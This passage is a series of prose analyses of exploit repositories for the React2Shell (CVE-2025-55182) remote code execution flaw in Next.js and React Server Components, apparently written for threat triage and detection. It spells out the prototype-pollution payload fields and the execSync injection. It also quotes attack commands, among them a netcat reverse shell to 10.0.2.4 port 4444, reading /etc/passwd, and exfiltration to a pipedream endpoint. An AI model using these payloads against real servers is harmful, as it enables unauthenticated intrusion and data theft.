low-friction remote command execution against a vulnerable web application implementing the affected server-side JavaScript request handling path.

Repository contains a single Python 2.7 exploit script and a README. The main file, CVE-2025-55182.py, is a standalone exploit for CVE-2025-55182 targeting vulnerable Next.js applications. It supports two modes: (1) single-target interactive command execution and (2) multithreaded mass scanning from a file of targets. The exploit normalizes user input to HTTPS by default, appends /login when no path is provided, and sends a crafted multipart/form-data POST request with specially structured fields intended to trigger prototype pollution and constructor abuse in a Next.js server-side context. The injected JavaScript payload uses process.mainModule.require('child_process').execSync() to run arbitrary OS commands and then forces a redirect whose digest embeds the command output in /login?a=<output>. The script parses the x-action-redirect response header to determine success and recover output. Mass-scan mode uses a Queue with worker threads and writes successful results to a local file. Overall, this is a real exploit rather than a detector: its primary capability is unauthenticated remote command execution with basic output retrieval, packaged as an operator-friendly shell/scanner.

Small standalone PoC repository with two files: a README describing CVE-2025-55182 and affected React/Next.js versions, and a single Python exploit script. The exploit uses argparse to accept a target URL (-u) and arbitrary command (-c), then sends a multipart/form-data POST request with a crafted JSON structure intended to abuse React Server Components / Next.js server action processing. The malicious payload injects JavaScript into the server-side processing path, uses process.mainModule.require('child_process').execSync() to run the supplied command with a 5-second timeout, converts stdout to a string, and throws a manipulated NEXT_REDIRECT error containing the command output in the digest field. The script prints the HTTP status code and response body, allowing the operator to observe execution results. There is no scanning, brute force, persistence, or post-exploitation automation; it is a direct RCE proof-of-concept against a user-specified web endpoint.

This repository is a self-contained educational lab for CVE-2025-55182, demonstrating remote code execution against React Server Components/Next.js Server Actions via prototype pollution in Flight deserialization. The repo contains three main parts: (1) exploit/exploit.py, a Python exploit that crafts a malicious multipart/form-data Flight payload and POSTs it to the target root with Next-Action and X-Nextjs-Request-Id headers; (2) vulnerable/, a Next.js app using React 19.2.0 with a Server Action in app/actions.ts exposed through a form in app/page.tsx; and (3) patched/, a comparison app using React 19.2.1 without the vulnerable Server Action path. Docker Compose exposes the vulnerable app on port 3011 and the patched app on 3012. The exploit’s core capability is unauthenticated remote command execution. It builds a Flight object containing a reference chain to __proto__.then, causing Object.prototype.then pollution during deserialization. The injected JavaScript then executes process.mainModule.require('child_process').execSync(<command>) on the Node.js server. Output is base64-encoded and exfiltrated by throwing a crafted NEXT_REDIRECT error whose digest is reflected in the X-Action-Redirect response header. The script then parses that header and decodes the command output. Repository structure supports both exploitation and validation: README.md documents usage and expected behavior; docs/CVE-2025-55182.md explains the vulnerability, exploit chain, affected versions, and mitigations; vulnerable/ and patched/ provide reproducible targets. This is a real exploit PoC rather than a detector. It is operational but not heavily weaponized: the payload is customizable only through a supplied command argument, and the exploit logic is purpose-built for this specific vulnerability and lab setup.

This repository is a small standalone Python exploit PoC for CVE-2025-55182, with README documentation, one executable script, and a minimal requests dependency. The main file, cve-2025-55182.py, is the sole code artifact and acts as the entry point. It is not part of a larger exploit framework. The exploit targets vulnerable React Server Components / Next.js Server Actions deployments over HTTP(S). It builds a crafted multipart/form-data POST body that abuses the RSC wire protocol using a poisoned object with __proto__ pollution, constructor.constructor access, and a malicious _prefix JavaScript expression. The injected JavaScript executes synchronously on the server, uses Node.js child_process.execSync to run arbitrary OS commands, Base64-encodes stdout, and throws a forged NEXT_REDIRECT error so the application returns the output inside the x-action-redirect header. The script then parses either x-action-redirect or Location for the ?a= parameter, URL-decodes it, and Base64-decodes it for display. Capabilities include single-command execution (-c) and an interactive pseudo-shell (--shell), though the shell is stateless and sends one HTTP request per command. The operator can also override the Host header for virtual-hosted targets, set request timeouts, and enable verbose output to inspect raw response headers. There is no reverse shell, persistence, or callback infrastructure; exfiltration is entirely in-band via the HTTP response headers. Repository structure is simple: README.md provides vulnerability background, affected versions, usage examples, and references; requirements.txt lists requests>=2.28.0; .gitignore excludes Python artifacts and lab files. Overall, this is an operational but lightweight exploit script intended to demonstrate pre-authenticated RCE against vulnerable Node.js-based Next.js/React Server Components applications.

This repository is a small standalone Go exploit for CVE-2025-55182, described as React Server Components RCE via prototype pollution. It contains only two files: a README with usage examples and main.go implementing the exploit logic. The code is not a scanner or detector; it is an active exploitation tool that sends a crafted multipart/form-data POST request to a user-specified target URL. The exploit flow is straightforward: main() parses -t and -c arguments, normalizes the target URL (defaulting to HTTPS if no scheme is provided), prints status banners, and calls execute(). execute() builds a malicious multipart body in buildPayload(), sets Next.js-related headers in craftHeaders(), disables TLS verification, disables redirect following, and POSTs directly to the supplied target URL. The injected payload abuses a prototype-pollution-style object structure and embeds JavaScript that invokes process.mainModule.require('child_process').execSync('<command>') on the remote Node.js process. The command output is base64-encoded server-side and embedded into a forged NEXT_REDIRECT digest pointing to /login?a=<encoded>. parseResponse() then extracts the X-Action-Redirect header, regex-matches the /login?a= parameter, URL-decodes it, base64-decodes it if possible, and prints the recovered command output. Notable capabilities: arbitrary command execution, output retrieval, support for arbitrary operator-supplied commands, and practical post-exploitation use such as reading files or launching a reverse shell. The README explicitly demonstrates id, ls -la, cat /etc/passwd, and a busybox nc reverse shell. The exploit is operational rather than a bare PoC because it includes a complete request builder, response parser, CLI, and output handling, but it is still a simple standalone tool rather than a framework-integrated or highly modular weaponized exploit. Fingerprintable artifacts include the custom headers Next-Action, X-Nextjs-Request-Id, and X-Nextjs-Html-Request-Id; the multipart boundary string ----HacxMeBoundaryX9K2pLvN4MqR8TdF; the exfiltration path /login?a=...; and the expectation of an X-Action-Redirect response header. The code also uses a Firefox-like User-Agent string and sets InsecureSkipVerify=true for TLS. Overall, the repository’s purpose is to provide a command-line RCE exploit against a vulnerable Next.js/React Server Components target over HTTP(S).

This repository is a small standalone exploit project with two files: a README describing CVE-2025-55182 ('React2Shell') and a single Python entry point, exploit.py. The exploit targets vulnerable React Server Components / Next.js Server Actions by sending a crafted multipart/form-data POST request to the application root with a Next-Action header. The malicious Flight payload abuses insecure deserialization of a thenable object so that server-side JavaScript reaches child_process.execSync(), yielding unauthenticated pre-auth RCE. The Python script appears to implement three operator-facing modes described in the README: check, exec, and revshell. It uses requests for HTTP transport, supports optional proxying and randomized User-Agent selection, normalizes target URLs, and can auto-detect the operator IP address via tun0 or a UDP socket to 8.8.8.8. The payload builder constructs a multipart body with a fixed boundary and embeds JavaScript that executes an arbitrary shell command via process.mainModule.require('child_process').execSync(...). Output is transformed and exfiltrated by throwing a crafted NEXT_REDIRECT error so the server returns a 307 redirect with the result encoded in the X-Action-Redirect header. This makes the exploit more than a detector: it provides direct command execution and output retrieval. The repository also includes reverse shell support with multiple hardcoded templates: bash, python3, nc, mkfifo, and node. These payloads connect back to an operator-supplied host and port, defaulting to port 4444 and optionally auto-detecting the local host IP. Because the payloads are predefined but selectable and the exploit is a standalone script rather than a larger framework module, the maturity is best characterized as OPERATIONAL. Notable fingerprintable observables include POST requests to the target root path '/', the Next-Action request header, the X-Action-Redirect response header, and the redirect path '/login?a=...;307;' used for output exfiltration. The README contains example targets and proxies such as http://10.10.11.50 and http://127.0.0.1:8080. Overall, the repository's purpose is offensive exploitation of a web-exposed deserialization flaw in React/Next.js applications, enabling unauthenticated command execution and shell access.

This repository is a small proof-of-concept exploit package combining a benign-looking Next.js web app with a Python exploit script. The main exploit logic is in react-exp.py; the rest of the repository is largely a standard Next.js 16 application scaffold used as a local target/demo environment. The Python script accepts a base URL and optional command, builds a multipart/form-data POST request, and sends it to the target root path with a custom 'Next-Action' header. Its crafted JSON chunk abuses JavaScript prototype/constructor access patterns and injects a server-side JavaScript prefix that calls process.mainModule.require('child_process').execSync(...) to run an arbitrary shell command. The default command is 'id'. The payload then throws a NEXT_REDIRECT error object with the command output embedded in the digest field, allowing the operator to recover execution results from the HTTP response body. A commented alternate payload shows command execution without output capture. Repository structure: README.md contains usage steps; react-exp.py is the actual exploit; app/page.tsx, app/layout.tsx, globals.css, and config files form a simple branded Next.js site used for demonstration. No persistence, lateral movement, or secondary payload delivery is present. This is an operational RCE PoC rather than a detection script.

This repository is a small standalone Python proof-of-concept exploit for CVE-2025-55182, with README references also tying the issue to Next.js as CVE-2025-66478. The repository contains three files: a single exploit script (CVE-2025-55182.py), a README with usage/examples, and an MIT license. The Python script is the sole code file and main entry point. The exploit sends a crafted HTTP POST request using the requests library to an operator-supplied URL. It sets custom headers including Host: localhost, Next-Action: x, and a fixed multipart/form-data boundary. The POST body embeds a malicious serialized structure designed to trigger unsafe server-side behavior in React Server Components processing. The key execution primitive is injected into the _prefix field as JavaScript: process.mainModule.require('child_process').execSync('<command>');, which attempts to execute an arbitrary shell command on the target Node.js server. Capabilities are straightforward but dangerous: remote arbitrary command execution against a vulnerable server-side React/Next.js deployment. The script accepts a target URL and optional command-line command parameter; if omitted, it defaults to 'id'. It prints the target, command, and HTTP status code, but does not implement output retrieval, session handling, or advanced exploitation logic. Because it includes a usable hardcoded RCE primitive and supports arbitrary operator-supplied commands, it is more than a detection script but still a relatively simple PoC/operational exploit. No exploit framework is used. There is no persistence, privilege escalation, or lateral movement logic in the repository. The README includes an example reverse-shell command using netcat (nc 10.0.2.4 4444 -e sh), indicating intended post-exploitation use, but the exploit itself only delivers command execution and leaves payload selection to the operator.

Repository is a small standalone PoC/demo for CVE-2025-55182 ('React2Shell'). It contains both a vulnerable lab environment and a Python exploit. The vulnerable app is a minimal Next.js App Router project (`src/app/layout.js`, `src/app/page.js`) with dependencies pinned to Next.js 15.0.0 and React/react-server-dom-webpack 19.0.0 RC builds. `Dockerfile` builds and runs this app in a Node 20 Alpine container, exposing port 3000 and launching `next dev`. The main exploit logic is in `exploit.py`. It sends a single crafted `multipart/form-data` POST request to the target URL, defaulting to `http://localhost:3000`. The payload is a malicious React Flight object designed to abuse prototype traversal (`__proto__`) and constructor access (`constructor:constructor`) during deserialization. It injects JavaScript into the `_prefix` field that invokes `process.mainModule.require('child_process').execSync(...)`, yielding arbitrary command execution on the server. The default command creates `/tmp/success.txt`, but the script accepts a custom command and optional target URL via command-line arguments. Capabilities: unauthenticated web-based RCE against vulnerable React Server Components / Next.js targets; customizable command execution; basic response/status output for operator feedback. This is not a detection-only script and not obviously fake. It is best classified as an operational PoC: the payload is real and functional, but customization is limited to raw command strings rather than a full exploitation framework.

This repository is a controlled academic exploit lab for CVE-2025-55182 ('React2Shell'), modeling an unauthenticated RCE condition in React Server Components. It is not tied to a common exploit framework; instead it contains a standalone dual-profile lab with a vulnerable app, a patched app, Docker infrastructure, PowerShell automation, scenario testing, and extensive documentation/reporting. Core exploit logic resides in app/vulnerable/src/framework/entry.rsc.tsx. That handler clones incoming requests, parses POST JSON, extracts the __flight_action field, and passes it directly to node:child_process execSync with shell '/bin/sh'. This creates a network-reachable command-execution primitive over the .rsc endpoint. The response returns JSON containing the executed action and trimmed command output. Telemetry is written to logs/vulnerable-requests.log and suspicious requests are tagged with flight_action_injection. The patched counterpart in app/patched/src/framework/entry.rsc.tsx performs pre-deserialization validation: if a POST body contains __flight_action, it immediately returns HTTP 403 with JSON explaining the block and logs the event. It also blocks suspicious .rsc requests more generally with HTTP 400 based on probe query strings, unexpected methods, or JSON content types. The repository structure is clear and purposeful: app/vulnerable and app/patched each contain a minimal Vite/React RSC application; infra/ contains Dockerfiles and docker-compose exposing the vulnerable service on 3100 and patched service on 3200; scripts/ contains helper scripts including exploit-shell.ps1, which turns the RCE primitive into an interactive pseudo-shell by repeatedly POSTing __flight_action commands; tests/run-scenarios.mjs automates baseline, suspicious, and exploit scenarios and writes tests/results/scenario-report.json; docs/ and report/ document architecture, validation, telemetry, scenarios, and findings. Main exploit capabilities: unauthenticated remote command execution, command output retrieval, filesystem enumeration, environment disclosure, host/container reconnaissance, and interactive shell-like operation against the vulnerable lab target. The exploit is operational rather than heavily weaponized: payloads are simple shell commands, hardcoded transport is HTTP POST to /.rsc, and the included shell wrapper is interactive but basic.

Repository is a standalone proof-of-concept for CVE-2025-55182, centered on delivering crafted multipart/form-data requests to vulnerable Next.js server action/request parsing paths to achieve server-side code execution. The top-level POC directory contains the actual exploit artifacts: exploit.sh builds a multipart body in /tmp/exploit_payload.txt and POSTs it to http://localhost:3000/ with a hardcoded Next-Action ID; payload.http is a raw reproducible HTTP request targeting http://localhost:3001/; poc.py is the most flexible PoC, using Python requests to send the malicious multipart fields and demonstrating both local command execution and commented exfiltration options to https://a.m.pipedream.net; test-exploit.sh is a simpler curl-based tester against http://localhost:3000/api. The exploit primitive relies on malicious JSON fields such as then="$1:__proto__:then" and _formData.get="$1:constructor:constructor" combined with _response._prefix containing JavaScript that invokes process.mainModule.require('child_process').execSync(...). Demonstrated commands include whoami, ls -la, echo "pawned", and writing /tmp/rce-triggered.txt, indicating arbitrary command execution capability. The repository also includes two intentionally weak Next.js applications, weak-server and weak-server-2, used as local lab targets. Both expose a server action in app/actions.ts and a POST handler in app/api/route.ts that parses formData and logs headers/body. weak-server pins Next.js 16.0.6 with React 19.2.0, while weak-server-2 uses Next.js ^15.0.0 with React ^19.0.0. Overall, this is a real exploit PoC repository with bundled vulnerable test environments, not merely a detector or README.

This repository is a small standalone Python exploit for CVE-2025-55182, accompanied by a brief README. The main file, CVE-2025-55182.py, implements an interactive RCE client targeting a web application believed to be vulnerable through React Server Components / Next.js request handling. The script prompts for a target URL or IP, normalizes it to HTTP(S), derives the Host header, and sends a crafted multipart/form-data POST request directly to the target base URL. The exploit payload is embedded in the multipart body as JavaScript intended to execute on the server. It uses process.mainModule.require('child_process').execSync(...) to run arbitrary shell commands with a 5-second timeout, converts the output to a string, and exfiltrates the result by throwing a NEXT_REDIRECT error whose digest field contains command output. The script then parses the HTTP response body with regex to recover that digest and display it to the operator. Operationally, the tool behaves like a lightweight remote shell. It maintains a client-side notion of current working directory starting at /tmp and provides helper commands: cd updates the local path state, pwd prints it, ls runs 'ls -la' remotely, and cat reads remote files. Any other input is wrapped as 'cd <current_dir> && <user command>' and executed remotely. This makes the exploit more than a bare proof of concept: it is an operational interactive command-execution tool, though payload customization is manual and limited. Repository structure is minimal: one Python code file and one README. There is no framework integration, no detection-only logic, and no obvious destructive fake behavior. The exploit is clearly intended for direct operator-driven remote command execution against vulnerable React/Next.js deployments.

This repository is a multi-component security toolkit centered on CVE-2025-55182 ('React2Shell'), a claimed pre-auth React Flight / React Server Components deserialization RCE affecting React and Next.js. It is not just a detector: the `react2shell-scanner` component contains active exploitation logic exposed through `cli.py` and `exploit.py`, supporting safe-probe detection plus post-detection actions such as file read, directory listing, and arbitrary command execution against target web applications. The exploit path is web/network-based and appears to rely on crafted multipart/form-data POST requests with a `Next-Action` header to root or RSC-related endpoints, aiming to trigger digest errors or execute injected Node/JS primitives. Repository structure has three main tools: (1) `react2shell-scanner/` for GitHub org scanning, GCP infrastructure enumeration, and exploit testing; (2) `gcp-ioc-scanner/` for querying GCP Cloud Logging using IOC YAML definitions; and (3) `gcp-log-correlator/` for correlating suspicious trigger events with preceding HTTP requests on the same Kubernetes pod. There is also a deliberately vulnerable `react2shell-scanner/test-app/` Next.js fixture used to validate payloads and demonstrate exploitation behavior. Key code files include Python entry points (`react2shell-scanner/cli.py`, `react2shell-scanner/exploit.py`, `gcp-ioc-scanner/gcp-ioc-scanner`, `gcp-log-correlator/gcp-log-correlator`), shell wrappers (`react2shell-scanner/bin/scan-github`, `scan-gcp`, `scan-all`), and helper libraries (`lib/check-version.py`, `lib/scanner-common.sh`, `utils.py`). Languages present are primarily Python, shell/bash, JavaScript, YAML, and Docker configuration. Operationally, the GitHub scanner uses `gh api` to fetch `/repos/$ORGANIZATION/$repo/contents/package.json` and checks dependency versions against vulnerability definitions. The GCP scanner enumerates Artifact Registry, Cloud Run, and GKE resources using `gcloud`, but its vulnerability analysis is mostly inventory/pending-scan oriented rather than a full exploit. The IOC scanner builds Cloud Logging filters for namespaces/pod regexes and searches for patterns such as `E{"digest"`, prototype traversal strings, and suspicious POSTs to `/_next/data/` or `/api/.*Server`. The correlator then links suspicious error events to inbound HTTP requests by timestamp proximity. Overall, this is a real exploit-oriented toolkit with supporting exposure discovery and cloud log hunting capabilities, not merely a README or pure detection script. The exploit component is best classified as OPERATIONAL: it includes concrete payload-driven actions, but customization appears manual and outside a major exploitation framework.